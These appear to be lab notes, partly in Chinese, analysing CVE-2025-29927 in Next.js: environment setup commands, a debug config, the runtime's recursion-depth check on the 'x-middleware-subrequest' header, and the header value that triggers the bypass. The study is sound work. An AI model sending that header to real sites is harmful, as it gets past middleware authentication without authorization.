CVE-2025-29927

node -v
npm -v

# 1. 进入项目目录
cd vulenv

# 2. 全局安装 Yarn（如果尚未安装）
npm install -g yarn

# 3. 安装项目依赖
yarn install

# 4. 启动开发服务器
npm run dev

cd vulenv && npm install -g yarn && yarn install && npm run dev

{
    "version": "0.2.0",
    "configurations": [
      {
        "name": "Next.js: debug server-side",
        "type": "node-terminal",
        "request": "launch",
        "command": "npm run dev"
      },
      {
        "name": "Next.js: debug client-side",
        "type": "chrome",
        "request": "launch",
        "url": "http://localhost:3000"
      },
      {
        "name": "Next.js: debug full stack",
        "type": "node-terminal",
        "request": "launch",
        "command": "npm run dev",
        "serverReadyAction": {
          "pattern": "- Local:.+(https?://.+)",
          "uriFormat": "%s",
          "action": "debugWithChrome"
        }
      }
    ]
  }

const run = withTaggedErrors(async function runWithTaggedErrors(params) {
    var _params_request_body;
    const runtime = await getRuntimeContext(params);
    const subreq = params.request.headers[`x-middleware-subrequest`];
    const subrequests = typeof subreq === 'string' ? subreq.split(':') : [];
    const MAX_RECURSION_DEPTH = 5;
    const depth = subrequests.reduce((acc, curr)=>curr === params.name ? acc + 1 : acc, 0);
    if (depth >= MAX_RECURSION_DEPTH) {
        return {
            waitUntil: Promise.resolve(),
            response: new runtime.context.Response(null, {
                headers: {
                    'x-middleware-next': '1'
                }
            })
        };
    }
    ......

用户访问 /dashboard
↓
middleware 拦截，请求 /api/auth
↓
/api/auth 再次触发 middleware
↓
middleware 又请求 /api/auth
↓
...
死循环！🌀

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

if (depth >= MAX_RECURSION_DEPTH)

x-middleware-next: 1